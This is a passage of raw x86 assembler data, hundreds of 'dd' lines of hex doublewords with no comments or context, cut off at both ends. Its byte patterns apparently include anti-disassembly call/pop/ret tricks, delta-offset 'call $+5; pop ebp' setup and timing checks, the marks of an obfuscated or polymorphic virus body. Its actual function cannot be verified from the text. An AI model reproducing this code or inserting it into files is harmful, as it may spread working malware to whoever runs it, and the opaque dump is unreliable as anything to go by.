3A784AEAh, 26659D8Bh, 0B58B05E4h, 5E79F53h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CBC35141h dd 0ADA61D1Bh, 0A9D0DD9Bh, 106C77Bh, 8B000100h, 0E95650F8h dd 10h, 0F072E251h, 0C9EB4883h, 0EFCFB3A0h, 99D50F1Fh dd 2434895Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0FDC35040h, 5FB5FF5Bh, 6A05E79Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F19FC357h dd 816B1E1Ch, 8BD2703Dh, 0E42A69BDh, 2D95FF05h, 2305E417h dd 0E425FDBDh, 53B58B05h, 6605E79Fh, 8B4E60BBh, 0E41D1D85h dd 13E905h, 0C4C60000h, 0FE610904h, 1AFFBA0Fh, 0F3AFA24Dh dd 0C4DB0685h, 6D8589FBh, 8905E426h, 0C486h, 0D9BD8B00h dd 0F05E41Fh, 688h, 7D9D0B00h, 8B05E404h, 0E4109595h, 4C28305h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 17C35242h dd 2D359E9h, 3D97BBC3h, 2C21BD01h, 508905E4h, 2E98BB20h dd 858D56FCh, 5E7B384h, 8689FA8Bh, 0B8h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0C1C35747h, 0E53579C4h dd 278D9589h, 6A05E4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0BAC35040h, 99E95736h, 99B05934h, 9F5FB5FFh dd 0BD2905E7h, 5E40965h, 104595FFh, 6A05E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 77480FC3h dd 3198A22Ch, 8890Fh, 8B600000h, 0E40831B5h, 60966105h dd 5A77B756h, 61DA8B66h, 0FB8B5050h, 6A965Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2C3A90C3h dd 0E99D0F57h, 6, 0D7E8DA52h, 0B5FF19E9h, 5E79F5Fh, 1DD58529h dd 95FF05E4h, 5E41365h, 799D8B57h, 5B05E40Dh, 8F9BD83h dd 0F0005E4h, 3D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 85894D4Dh, 5E42425h, 89E4B350h dd 0F572434h, 68Ah, 61958900h, 5F05E42Ch, 2DDB509h, 0B5FF05E4h dd 5E79F5Fh, 23058589h, 95FF05E4h, 5E429C5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 4C35545h, 89C96287h, 0FA65234Eh, 17D99589h dd 0B5FF05E4h, 5E79F5Fh, 823ACF81h, 95FF1C4Fh, 5E41971h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F9C35040h dd 3A336AEh, 8166985Ch, 83153BD7h, 0E43125BDh, 840F0205h dd 42h, 1205BD89h, 858B05E4h, 5E41191h, 0FD5BD0Bh, 0C605E4h dd 0FE900h, 9E260000h, 683F5E83h, 73E9A133h, 0C58AB8C9h dd 13E850h, 0E4EF0000h, 6A4F86E3h, 33A2E91Eh, 5C3247E3h dd 22874439h, 85C75FA2h, 5E419E5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A4C35040h dd 80B235B4h, 0F3F9B17h, 68B0FF5h, 8B000000h, 0E413E5BDh dd 0F41BE905h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0CD00F1C3h, 8BD28ED1h, 52006AC1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0F206EA6Eh, 0F78166DBh, 81664DC9h, 8DC4B5F3h, 0E419D585h dd 759D8B05h, 5005E428h, 0E9240489h, 14h, 0F4747D1Ah, 9B046E7Ch dd 71B77B2Ah, 0BAB8D9FAh, 7BBC67F2h, 0BF0F006Ah, 8D006AF8h dd 0E83C3385h, 0C6BE6005h, 0E9287C8Fh, 11h, 552D1A5Fh dd 0A7F371EEh, 4E223B3Fh, 46D054C6h, 0C0836147h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 229E772Ah, 75BCA0BFh, 0F88B904Ah, 60525050h, 66D68B66h dd 61CDDCBEh, 8EBF310Fh, 5A6A0C70h, 6A9058h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 897AF6C3h dd 0E42DB995h, 6A006A05h, 9FEF8000h, 21A195FFh, 850105E4h dd 5E419FDh, 9E7F8D8Dh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 9E79EC3h, 0AE23992h dd 71BD8BF5h, 0FF05E403h, 5D9D8BD1h, 8305E426h, 0E42995BDh dd 850F0105h, 44h, 22CD8D01h, 26A05E4h, 90DFB70Fh, 840F51h dd 5F000000h, 0BD8B9050h, 5E42639h, 104595FFh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 297CA5C3h, 0DE8B055Eh, 0C50E9h, 0E800h, 815D0000h, 0E83C3DEDh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0DE8C4h, 0FAA50000h, 8F6C6AB5h, 9601C489h dd 8BB8BDC7h, 0E41739BDh, 0DE85B05h, 0 dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 12E8h, 29317C00h dd 0A30378B9h, 0A744D9FEh, 3485C9B6h, 5F9A5C25h, 53006A5Fh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0F25A2502h, 0D5F819C7h, 2E91BD29h, 8B6605E4h, 68858DD8h dd 6A05E781h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0C659C352h, 0F99D8B7Dh, 9005E430h dd 0FE9h, 0EDFE4F00h, 5097F83Bh, 0E5396F70h, 0FC842759h dd 60525050h, 6E9D88Bh, 0CF000000h, 4124D77Dh, 310F619Fh dd 0E990585Ah, 13h, 9A1F944Ah, 0CC1D791Ch, 7C3C9B46h, 0AD605496h dd 64E62DA5h, 35FFh, 8B660000h, 258964F9h, 0 dd 9E9h, 50A84500h, 0B8EA601Bh, 85FF5E35h, 5E4142Dh, 0EE9h dd 42784200h, 34F42C91h, 4A1AEA0Ah, 6AAEB108h, 91BD8BFFh dd 0FF05E42Bh, 0E43179B5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 30BA06E2h dd 0B7FFCD0Eh, 7E94945h, 47000000h, 85110F9Bh, 0D781A78Ch dd 5CB71D1Dh, 2DAD95FFh, 41E905E4h, 66000001h, 0B0F88Bh dd 1F2DBD8Bh, 70E605E4h, 0E850Fh, 9E90000h, 12000000h dd 5CD7E557h, 0BA334BECh, 613C71E4h, 116830Fh, 0E7810000h dd 40983506h, 9E953h, 8E910000h, 4AE4F892h, 5BBD03D2h dd 66C8B60Fh, 6BAF98Bh, 29000000h, 0E409A19Dh, 66C18B05h dd 0BDABD381h, 2904E8C1h, 0E41999BDh, 0E2F76605h, 2B49BD89h dd 0C82B05E4h, 11E9h, 18C91300h, 0F902214Ch, 748BC744h dd 0B43798Ah, 0D18B0E13h, 2959D89h, 21E905E4h, 60000000h dd 14E9h, 0CED78700h, 0C9936610h, 99127E98h, 6A092F0Fh dd 0E4B64848h, 6FD98178h, 61110ED7h, 21C1858Bh, 83F805E4h dd 83F907C0h, 8B6000C0h, 0E41715B5h, 218D8905h, 6105E411h dd 830FD03Bh, 11h, 12FD9D8Bh, 61E905E4h, 8B000000h, 0E428C19Dh dd 258D8B05h, 0F05E415h, 684h, 0E99D8B00h, 0F05E403h, 0E183DBBFh dd 3D840F01h, 8B000000h, 0E4209D9Dh, 8E905h, 50D80000h dd 5FFE31EBh, 0A583B3BCh, 5E41525h, 9589F8FEh, 5E421C1h dd 12E9h, 0E6FCEB00h, 4E2E8EB5h, 508D28BAh, 0D94AD576h dd 0E9FCA228h, 0 dd 0C05DB58Dh, 0BD0B05E7h, 5E430B9h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9F2AC3h dd 95FFFEBFh, 5E410C1h, 2C6D8589h, 0EEB905E4h, 6A00000Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0E780C351h, 6D9D8BCBh, 0BF05E425h, 452EF1CBh dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0CD51C350h, 0FFB70F98h, 29BD8BFCh dd 2B05E417h, 0D1BD8BC0h, 0BA05E419h, 0 dd 32D5BD2Bh, 33AD05E4h, 3E8D1C2h, 4E983D0h, 870FF475h dd 6, 10ED8501h, 852905E4h, 5E41069h, 880Dh, 0F1BD8B00h dd 8B05E410h, 0E4109595h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D68CDE20h dd 68E0F8Ch, 8B000000h, 0E404659Dh, 658D8B05h, 6A05E42Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0AE31C353h, 8DED703Eh, 0F45C7F43h, 6890Fh dd 95010000h, 5E4041Dh, 99F78166h, 0C28B506Ah, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 399D23F8h, 6605E417h dd 832FD7BBh, 0E42135BDh, 840F0005h, 37h, 2E6DBD8Bh, 0B805E4h dd 89000000h, 0E42AE995h, 308D8D05h, 0E905E44Ch, 11h, 47CEA425h dd 1A4D82F7h, 0B1E13073h, 814F8345h, 80E1FF39h, 8166BCC7h dd 834583F7h, 0E430FDBDh, 840F0005h, 3F7h, 17C58501h, 0BD8305E4h dd 5E430FDh, 0FF840F01h, 0F000003h, 88h, 0FDBD8300h, 305E430h dd 3B6860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 1D9AD6C3h, 2124372Fh, 0FE8BB92Ah dd 1DB58960h, 6605E42Ch, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F64AFC3h, 0E180F9BFh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0D479C5ADh, 8BAC1CBFh, 0E4020D9Dh, 958B6005h dd 5E41DF5h, 0A6140B2h, 0F7840FC9h, 0F8000000h, 2C9D858Bh dd 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 51F573C3h, 0C07F17D4h, 33FA8B85h, 0E4209985h dd 31B53105h, 9005E40Dh, 71ECA2BFh, 8A535068h, 29905FF8h dd 0E4088D85h, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 81D1C356h, 2E3F41DBh dd 4E832h, 3FF0000h, 6650001Fh, 448BFE8Bh, 8B0424h, 4244489h dd 5E565660h, 6052505Eh, 0F310F61h, 84h, 61585A00h, 3CF78158h dd 0FF025F89h, 0E4015995h, 0DDBD8905h, 8905E400h, 0E79F5F85h dd 68E0F05h, 8B000000h, 0E42AC19Dh, 1ECE905h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 404BEBC3h, 5660EC0Fh, 605BC68Bh, 1AD5BD8Bh, 0C28105E4h dd 57F46C04h, 858B6161h, 5E79F57h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0C7C35646h, 3B922FCh, 0DF8B6672h dd 1800C7h, 8D890000h, 5E4122Dh, 6830Fh, 9D030000h, 5E41DC1h dd 9F5BB58Bh, 0B58905E7h, 5E407C9h, 2A21858Bh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 9FD631C3h, 0A24F4E3Dh, 0CC44BBA9h, 689684Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7BC35646h, 30A76E31h dd 2C9D858Bh, 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 6E0254C3h, 3B633D32h, 0DF8B7FC6h dd 6A044689h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 3D96C356h, 8166A7FFh, 50A562DFh dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 52F1C352h, 0F4121BAAh, 0B5FFCE02h dd 5E79F57h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 34C35545h, 0FE2F2E91h, 3EDEFCDh, 0E407ED9Dh, 9BD3305h dd 6805E40Dh, 0A578B38Ch, 73240481h, 8B5AA650h, 0E419899Dh dd 5F858D05h, 6A05E79Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 999EC356h, 50FAEB43h dd 89F88B66h, 0BF0F2404h, 5995FFFAh, 6A05E401h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 43BAC351h, 26ADBD8Bh, 6A6105E4h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BDF6C355h dd 0FEEEC51h, 82h, 0DD958900h, 0C705E42Ch, 0E430FD85h dd 305h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 9F86B349h, 7D95BAADh, 0BD838FD5h dd 5E79F5Fh, 11840F00h, 81000000h, 132906CFh, 21E91Ah dd 9D8B0000h, 5E42C69h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 56F0C351h, 7E86E39h dd 2E000000h, 8B5E776Ah, 0CCB34DFDh, 0FDBD835Fh, 305E430h dd 33E850Fh, 5E90000h, 18000000h, 9A6E7A7Dh, 9F5FBD83h dd 0F0005E7h, 32784h, 0FB8B6600h, 0FFFBBF0Fh, 0E79F5FB5h dd 6850F05h, 3000000h, 0E408619Dh, 1595FF05h, 8905E41Ch dd 0E4317DB5h, 68C0F05h, 89000000h, 0E410E5BDh, 53B58B05h dd 8B05E79Fh, 0E409C1BDh, 106C705h, 0B7000100h, 0BB6696B1h dd 0BF502791h, 61F458ACh, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 349469FAh dd 0B588356Ah, 0B5FFDA70h, 5E79F5Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0AC35545h, 0B1526E62h, 0DE8BA310h dd 95FFFA8Bh, 5E4172Dh, 0E9816050h, 108BF250h, 5B61F88Bh dd 13419D8Bh, 0B58B05E4h, 5E79F53h, 0BD8B5352h, 5E431B5h dd 858B5B5Bh, 5E41D1Dh, 89DBBF0Fh, 0C486h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A91FF9FFh, 958BC5F8h, 5E41095h, 13D8589h, 0B70F05E4h dd 4C283D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 43C35747h, 20508911h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 74C35343h, 0B6057ADAh, 0F60609Fh dd 89h, 0C6BB6600h, 8589613Ch, 5E41C99h, 84858D61h, 8105E7B3h dd 184CB0EFh, 0B886890Dh, 0F8000000h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 3CB1C6C3h, 8C4B4752h, 3EEE72Dh, 0E40DB59Dh, 5FB5FF05h dd 8B05E79Fh, 0E423A59Dh, 4595FF05h, 0F05E410h, 686h, 0B59D2900h dd 9605E40Ch, 605064B3h, 0A10DFBEh, 0C28B5169h, 6A96615Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 5ED8C351h, 0F65BF7E6h, 0F8546E8Ch, 5F03BB66h dd 9F5FB5FFh, 0B2BF05E7h, 5624EDFCh, 0FF5BDE8Bh, 0E4136595h dd 23C78005h, 8F9BD83h, 0F0005E4h, 3784h, 0DBBF0F00h, 5169BB96h dd 0F502535h, 480h, 0B8BB6600h, 6A9630h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59DFA3C3h dd 91E91F39h, 9F5FB5FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h dd 59B12DC3h, 0C595FFF9h, 8905E429h, 0E4298D8Dh, 5FB5FF05h dd 6A05E79Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 4172C357h, 81500EDDh, 197195FFh dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0BFC366C3h, 3B305F5h, 3125BD83h, 0F0205E4h dd 3984h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 6022CD03h, 81B578ABh, 0A87C48E3h dd 91858B48h, 0B705E411h, 0C62Bh, 2D319D89h, 85C705E4h dd 5E419E5h, 0 dd 94BEBF66h, 0FFF516E9h, 4D9D8BFFh, 8B05E412h, 52006AC1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0CA0391C3h, 0D5858D55h, 6A05E419h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 550C357h dd 8A605094h, 0D78B66E8h, 24048961h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 4AC35646h, 8B7B77ADh, 0E9006AFEh dd 14h, 0CFD53D44h, 7D52E271h, 5987417Ch, 52E8AF11h, 0B53D64BBh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0E78109C3h, 22B48E38h, 8DFBB70Fh, 0E84B2B85h dd 65958905h, 8305E417h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0D1725DC3h, 0AAC36345h dd 665676A2h, 295BF88Bh, 0E428C185h, 8D0F9005h, 0Eh, 61605250h dd 5250310Fh, 585A310Fh, 6050585Ah, 0E2C2BF66h, 6A9061h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 1AEC7DC3h, 0A80F3CBCh, 8B6656DAh, 6A006AFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 174DC356h, 870FBF3Eh, 4, 1E90BB66h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0EDF1BEC3h, 71B5EB44h, 8D0F34E8h, 3, 8BF98B66h, 0E421319Dh dd 0A195FF05h, 6A05E421h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 382CC352h, 810F0AA5h dd 2, 0E381FD8Ah, 5482DF75h, 9E7F8D8Dh, 6A05E7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 2D466C3h, 4216E0EEh, 60A1DE0Fh, 0C9D38166h, 0F7B70FF7h dd 0AE961h, 408A0000h, 2B5F0314h, 1F5D1B0Bh, 6AD1FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 66557CC3h, 8334A2BFh, 0E42995BDh, 850F0105h, 88h, 0D55FBB66h dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 2C17FBC3h, 58C0FF9h, 66000000h, 7C4BDF81h dd 895F5250h, 10E82404h, 0C3000000h, 0ECA1EC12h, 13B9125Eh dd 96DE2AB4h, 603EEAB6h, 0FE59D89h, 830F05E4h, 0 dd 95FF5F61h, 5E41045h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 74C35343h, 9DE545EBh, 0BD8BFED1h, 5E42325h dd 0D9FE9h, 0E800h, 815D0000h, 0E84B35EDh, 0F8BF0F05h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 45C35040h dd 9D8B1208h, 5E43175h, 8DCCEB80h, 0E7816885h, 0FE905h dd 0FF6C0000h, 0CDD826DCh, 9448E619h, 96231185h, 6E850A1h dd 23000000h, 0D9838F86h, 0CE857h, 19620000h, 0AD3650CDh dd 841C17ABh, 0BF661FD3h, 5B5FAEF8h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8836C351h, 5239227Ch, 245ABF22h, 31C9BB66h, 3C9B529h dd 0FF6405E4h, 35h, 81665000h, 5BCF6BDBh, 896421B3h, 25h dd 8B605000h, 219D01FAh, 6105E402h, 2D85FF5Fh, 8105E414h dd 0C5E217CFh, 0F8FF6A12h, 25F5B5FFh, 0CE905E4h, 98000000h dd 318269Ch, 0B0DEFC03h, 0FFCDAA54h, 0E42DAD95h, 0F8E905h dd 0B00000h, 4860Fh, 0BB660000h, 70E623FFh, 14898589h dd 71E405E4h, 11E9h, 0AAA64000h, 0AC5BC517h, 0A6EBFFD1h dd 83BF21D3h, 9D8B6609h, 5E4253Dh, 830F613Ch, 0BEh, 0FF62E781h dd 0B60F36B5h, 6870FC8h, 23000000h, 0E400B1BDh, 0C7816605h dd 6BA18EEh, 8B000000h, 4E8C1C1h, 5820Fh, 75BF0000h, 0B7624C09h dd 0E2F7660Ch, 77B2C381h, 0C82B3BBDh, 0D18BF98Bh, 15E9F9h dd 10E90000h, 0E6000000h, 90628C4Ah, 630227Dh, 65021598h dd 8BC4D1E3h, 0E4029985h, 27F38105h, 836DB76Fh, 0F5707C0h dd 58Ch, 0F3816600h, 835BDBA4h, 0D03B00C0h, 0B830Fh, 9D890000h dd 5E419B9h, 31E9h, 958D8B00h, 8305E408h, 840F01E1h, 22h dd 0A583FE8Bh, 5E40895h, 0BD0B53FEh, 5E402D1h, 9995895Bh dd 8B05E402h, 0E42B499Dh, 0E905h, 0B58D0000h, 5E7D078h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DAC35141h dd 0D88B66EDh, 12F58D01h, 6A05E4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 9DC35343h, 11959D8Bh, 95FF05E4h dd 5E410C1h, 0A27B9h, 0FCE18300h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D5C35343h, 0FE93Bh, 0BAFF0000h dd 4EA70CCFh, 0CCB41DF1h, 84CBD04Fh, 419D8BD0h, 0FC05E432h dd 8E9h, 261E7100h, 0A90CF97Ah, 0B85Fh, 90BF0000h, 0BA253D72h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 20C35141h dd 14E88Fh, 13BC0000h, 4A9D54A9h, 0C9B33A11h, 0E4D2E5F8h dd 0B145AFA4h, 81669661h, 5B1969CFh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0A8C0FF5h, 60000000h, 0E97FBF66h, 80E1B866h dd 880D61h, 0BB570000h, 12F22874h, 95958B5Fh, 0F05E410h dd 0EE9DBB7h, 0E9000000h, 741861DBh, 0F89A0361h, 0D1BF7F5Ch dd 658D8B28h, 8105E42Ch, 877759D3h, 0C28B5065h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BCB8C355h dd 5660B2DAh, 1F71B533h, 0B15A05E4h, 10E861D1h, 6A000000h dd 4B5EB7F2h, 54FEA495h, 0B8DA0248h, 0B77EBD85h, 6A5B51h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 16E98AC3h, 0BD8325C9h, 5E42135h, 4B840F00h, 0B8000000h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 95C35040h dd 50CF4EBDh, 0EE9h, 0D895A700h, 9BCD5292h, 9296123Dh dd 66304D90h, 8D4353BBh, 0E44C308Dh, 0BF7FBF05h, 0E1FF142Eh dd 0BD83FE8Bh, 5E430FDh, 0A4840F00h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0A7AFC356h, 8BBE3BBBh, 0FDBD83DEh, 105E430h, 490840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0AF6AF6C3h, 6DBD296Bh, 8305E400h, 0E430FDBDh dd 860F0305h, 428h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0F0C35242h, 0B9C752BCh, 8BF5BBFEh, 6A606E74h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 39C5C357h, 52D4F6B3h, 8F0FB4CFh, 6, 21519D8Bh dd 8C6605E4h, 0DFBF0FD9h, 0CD7F81BBh, 4E1807Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 32C35141h, 21C4A923h dd 153D8D31h, 0C90A05E4h, 153840Fh, 9D8B0000h, 5E40215h dd 68C0Fh, 95290000h, 5E4096Dh, 2C9D858Bh, 0DBBF05E4h dd 96BE871h, 0E419A9B5h, 99853305h, 6A05E420h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 94E2C355h, 788DC0B7h, 0B58944B7h, 5E41431h, 2D8D29h dd 0BD0305E4h, 5E41649h, 0D98B6690h, 12E950h, 855F0000h dd 0E4ECA7CAh, 0F6B0D04Eh, 68EC6B3Bh, 5E9FE156h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 50AA59DEh, 0E439BC6Dh, 45BD8B56h, 5B05E41Ah, 9D2B006Ah dd 5E41BC1h, 3223EF68h, 9BB66E2h, 24048159h, 1DECE010h dd 31019D8Bh, 95FF05E4h, 5E40159h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E9C35545h, 21DD32CEh, 85890FA1h dd 5E79F5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 1CC35545h, 9A23B5CDh, 19619D29h, 0B7E905E4h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0E887C350h, 14h, 74221981h, 9109D443h, 9F27EAA9h dd 0D2FEFA04h, 1EA3E3AFh, 57858B5Fh, 6A05E79Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0A20C355h, 1800C70Eh, 1000000h, 0E413E98Dh, 5BB58B05h dd 8905E79Fh, 0E427D1BDh, 21858B05h, 0F05E42Ah, 687h, 0B9852900h dd 8905E424h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 1533FCC6h, 0A791DFABh, 0A98529FDh dd 6605E425h, 858BD88Bh, 5E42C9Dh, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 23F0C353h, 0EC6EB4E7h, 0F18D29DDh, 9605E422h, 50F88B66h dd 6A96FB8Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 83D4C357h, 7429224Ch, 26A59D8Bh dd 0B5FF05E4h, 5E79F57h, 26819D8Bh, 5D6805E4h, 0BFB1C91Ah dd 1A62DB2Dh, 0A2240481h, 6A4E55E9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 335EC350h dd 0E94FDB5Fh, 97BF28E1h, 8D690FF1h, 0E79F5F85h, 0BD316005h dd 5E41D29h, 17D9850Bh, 506105E4h, 0C296BB66h, 8B240489h dd 5995FFDEh, 6A05E401h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C9E3C356h, 0BFEC30C8h dd 13E8h, 7B22B600h, 8EECF10Fh, 5C079C87h, 0F345E1FCh dd 0FA05B63Bh, 56615BF9h, 14840Fh, 0FE90000h, 84000000h dd 0CC0212B1h, 8683067Dh, 3A2CEFh, 0B5B25FCh, 0E40D199Dh dd 0FD85C705h, 305E430h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A041C353h dd 0B28392BBh, 9F5FBD83h, 0F0005E7h, 6784h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 2B78D6E0h, 0E431199Dh, 0F19D8B05h, 0E905E42Ch, 53h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 10C35242h dd 0F51CB6B0h, 38BBB1E4h, 0E864F936h, 5, 0EBC5E79Ah, 0B5B529D4h dd 5B05E419h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 80C08B00h, 6ACEC3h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 